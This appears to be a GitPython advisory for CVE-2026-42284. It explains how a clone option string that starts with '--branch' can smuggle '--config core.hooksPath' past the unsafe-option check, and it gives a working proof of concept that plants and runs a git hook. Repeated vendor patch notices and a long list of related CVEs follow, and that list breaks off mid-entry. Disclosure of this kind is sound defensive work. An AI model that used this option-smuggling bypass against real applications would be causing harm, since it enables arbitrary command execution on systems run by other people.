CVE-2026-42284

Summary

_clone() validates multi_options as the original list, then executes shlex.split(" ".join(multi_options)). A string like "--branch main --config core.hooksPath=/x" passes validation (starts with --branch), but after split becomes ["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone.

Details

The vulnerable code is in git/repo/base.py line 1383:

multi = shlex.split(" ".join(multi_options))

Then validation runs on the original list at line 1390:

Git.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options)

Then execution uses the transformed result at line 1392:

proc = git.clone(multi, "--", url, path, ...)

The check at git/cmd.py line 959 uses startswith:

if option.startswith(unsafe_option) or option == bare_option:

"--branch main --config ..." does not start with "--config", so it passes. After shlex.split, "--config" becomes its own token and reaches git.

Also affects Submodule.update() via clone_multi_options.

PoC

import sys, pathlib, subprocess
sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent))

from git import Repo
from git.exc import UnsafeOptionError

try:
    Repo.clone_from("/nonexistent", "/tmp/x", multi_options=["--config", "core.hooksPath=/x"])
except UnsafeOptionError:
    print("multi_options=['--config', '...']: Block as expected")
except Exception:
    pass

DIR = pathlib.Path(__file__).resolve().parent / "workdir_b"
SRC = DIR / "repo"
DST = DIR / "dst"
HOOKS = DIR / "hooks"
LOG = DIR / "output.log"

if not SRC.exists():
    SRC.mkdir(parents=True)
    r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True)
    r("git", "init", "-b", "main")
    (SRC / "f").write_text("x\n")
    r("git", "add", ".")
    r("git", "commit", "-m", "init")

HOOKS.mkdir(exist_ok=True)
hook = HOOKS / "post-checkout"
hook.write_text(f"#!/bin/sh\nwhoami > {LOG.as_posix()}\nhostname >> {LOG.as_posix()}\n")
hook.chmod(0o755)

LOG.unlink(missing_ok=True)
payload = "--branch main --config core.hooksPath=" + HOOKS.as_posix()

try:
    Repo.clone_from(str(SRC), str(DST), multi_options=[payload])
except UnsafeOptionError:
    print(f"multi_options=['{payload}']: BLOCKED"); sys.exit(1)
except Exception:
    pass

if not LOG.exists() and DST.exists():
    subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, capture_output=True)

print(f"multi_options=['{payload}']: not blocked")
print(f"\nHook executed: {LOG.exists()}")
if LOG.exists():
    print(LOG.read_text().strip())

Output:

multi_options=['--config', '...']: Block as expected
multi_options=['--branch main --config core.hooksPath=.../hooks']: not blocked

Hook executed: True
texugo
DESKTOP-5w5HH79

Impact

Any application passing user input to multi_options in clone_from(), clone(), or Submodule.update() is vulnerable. Attacker embeds --config core.hooksPath=<dir> inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.

GitPython is a python library used to interact with Git repositories. Prior to version 3.1.47, _clone() validates multi_options as the original list, then executes shlex.split(" ".join(multi_options)). A string like "--branch main --config core.hooksPath=/x" passes validation (starts with --branch), but after split becomes ["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone. This issue has been patched in version 3.1.47.

Root has patched CVE-2026-42284 in the GitPython package for Root:PyPI. Multiple fixed versions available.

GitPython is a python library used to interact with Git repositories. Prior to version 3.1.47, _clone() validates multi_options as the original list, then executes shlex.split(" ".join(multi_options)). A string like "--branch main --config core.hooksPath=/x" passes validation (starts with --branch), but after split becomes ["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone. This issue has been patched in version 3.1.47.

TuxCare rebuilt gitpython to address 2 CVEs. Fixed in 3.1.31.post13+tuxcare.

This update for python-GitPython fixes the following issues

• CVE-2026-42215: command injection via Git options bypass (bsc#1264604).
• CVE-2026-42284: unsafe option check validates multi_options before shlex.split transforms it (bsc#1264605).
• CVE-2026-44243: path traversal in GitPython reference APIs allows arbitrary file write and delete outside the repository (bsc#1264606).
• CVE-2026-44244: newline injection in config_writer().set_value() enables RCE via core.hooksPath (bsc#1264608).

This update for python-GitPython fixes the following issues

• CVE-2026-42215: command injection via Git options bypass (bsc#1264604).
• CVE-2026-42284: unsafe option check validates multi_options before shlex.split transforms it (bsc#1264605).
• CVE-2026-44243: path traversal in GitPython reference APIs allows arbitrary file write and delete outside the repository (bsc#1264606).
• CVE-2026-44244: newline injection in config_writer().set_value() enables RCE via core.hooksPath (bsc#1264608).

This update for python-GitPython fixes the following issues:

• CVE-2026-42215: command injection via Git options bypass (bsc#1264604).
• CVE-2026-42284: unsafe option check validates multi_options before shlex.split transforms it (bsc#1264605).
• CVE-2026-44243: path traversal in GitPython reference APIs allows arbitrary file write and delete outside the repository (bsc#1264606).
• CVE-2026-44244: newline injection in config_writer().set_value() enables RCE via core.hooksPath (bsc#1264608).
• CVE-2026-67322: vulnerable to environment-variable exfiltration in Repo.clone_from() (bsc#1273357).
• CVE-2026-67323: fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote() (bsc#1273358).
• CVE-2026-67325: contains an incomplete command injection blocklist that fails to account for git's long-option prefix abbreviation feature (bsc#1273359).
• CVE-2026-67326: fails to validate newline characters in the section parameter of config_writer() (bsc#1273364).
• CVE-2026-69097: fails to properly escape section names in git config files, allowing attackers to inject arbitrary configuration directives through malicious submodule names (bsc#1273414).
• CVE-2026-73619: incomplete denylist in the unsafe_git_archive_options guard that omits --add-file and --add- virtual-file options can lead to arbitrary file reads (bsc#1275755).
• CVE-2026-73620: failure to guard git option forwarding in IndexFile.checkout() and TagReference.create() can lead to arbitrary file reads and writes (bsc#1275756).
• CVE-2026-73621: argument injection in the Commit.count() method allows for destruction/blanking of arbitrary files (bsc#1275757).
• CVE-2026-73622: failure to disable environment variable expansion in Remote.create() and Submodule.add() URL handling allows for secret exfiltration via URLs containing variable references (bsc#1275751).
• CVE-2026-73623: incomplete denylist in unsafe_git_clone_options that omits --template allows for arbitrary command execution (bsc#1275752).
• CVE-2026-73624: Diffable.diff method fails to validate git options passed through kwargs, which can lead to arbitrary file writes (bsc#1275753).
• CVE-2026-73625: check_unsafe_options guard bypass via smuggling of git options inside single-character kwarg values can lead to arbitrary code execution (bsc#1275754).
• CVE-2026-76217: failure to validate options passed to git rm and git checkout commands in IndexFile.remove() and Head.checkout() can lead to arbitrary file reads (bsc#1275745).
• CVE-2026-76218: unguarded git option forwarding in Repo.init allows for arbitrary command execution (bsc#1275746).
• CVE-2026-76219: unguarded git read-tree option forwarding in IndexFile.from_tree/reset/merge_tree can lead to arbitrary file overwrites (bsc#1275747).
• CVE-2026-76220: check_unsafe_options guard can be bypassed by combining a single-character kwarg with split_single_char_options=False, which can lead to arbitrary OS command injection (bsc#1275748).
• CVE-2026-76221: config-name injection in the option-name validator can lead to remote code execution (bsc#1275749).
• CVE-2026-76222: failure to validate submodule names from .gitmodules files allows creation of Git repositories at arbitrary filesystem paths outside the intended clone directory (bsc#1275750).
• CVE-2026-78675: fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file content by including arbitrary file paths via [include] directives (bsc#1276434).
• CVE-2026-78676: fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives (bsc#1276433).
• CVE-2026-78677: allowing creation of arbitrary git directories outside the intended clone destination (bsc#1276432).
• CVE-2026-78678: an incomplete denylist in the unsafe_git_revision_options guard that omits --contents…

Santos Gallegos discovered that GitPython did not properly validate paths when resolving certain Git references. An attacker could possibly use this issue to cause files outside the .git directory to be accessed, leading to a denial of service. This issue only affected Ubuntu 14.04 LTS, Ubuntu 16.04 LTS, Ubuntu 18.04 LTS, Ubuntu 20.04 LTS, and Ubuntu 22.04 LTS. (CVE-2023-41040)

Wes Ring discovered that GitPython did not properly block certain unsafe Git options when they were provided as Python keyword arguments. An attacker could possibly use this issue to cause arbitrary command execution. (CVE-2026-42215)

It was discovered that GitPython did not properly validate clone options before processing them. An attacker could possibly use this issue to inject unsafe Git configuration, leading to arbitrary command execution through Git hooks. This issue only affected Ubuntu 20.04 LTS, Ubuntu 22.04 LTS, Ubuntu 24.04 LTS, and Ubuntu 26.04 LTS. (CVE-2026-42284)

It was discovered that GitPython did not properly validate reference paths during reference operations. An attacker could possibly use this issue to write, overwrite, move, or delete files outside the repository. (CVE-2026-44243)

Dan Aridor discovered that GitPython did not properly validate configuration values before writing them to Git configuration files. An attacker could possibly use this issue to inject unsafe Git configuration, leading to arbitrary command execution through Git hooks. (CVE-2026-44244)